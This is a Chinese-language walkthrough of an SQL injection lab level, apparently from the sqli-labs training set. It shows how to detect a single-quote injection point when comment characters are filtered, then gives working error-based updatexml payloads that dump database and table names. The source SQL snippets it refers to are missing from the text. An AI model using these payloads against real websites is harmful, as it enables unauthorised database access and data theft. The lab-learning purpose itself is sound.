第23关使用GET请求传递参数,在url地址栏构造payload即可
此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
在url中输入payload ?id=1' and '1,登录成功;而输入 ?id=1' and '0,登录失败;可见SQL恒成立时查询成功,SQL恒不成立时查询失败,即存在SQL注入,注入点为单引号字符型注入
源码中的SQL是这样的
我们输入 1' and '1 时,SQL变成了下面这样
and后面的'1'会转成true,也就是这样,从而使SQL语句恒成立,能够正常查询到数据
当我们输入 1' and '0 时,SQL变成了下面这样
and后面的'0'会转换成false,也就是下面这样,使SQL恒不成立,也就不能正常查询出数据
确定了注入点后,我们使用报错注入进行脱库,输入payload
1' and updatexml(1,concat(0x7e, (select group_concat(schema_name) from information_schema.schemata) ),1) and '1
然后是脱表
1' and updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security') ),1) and '1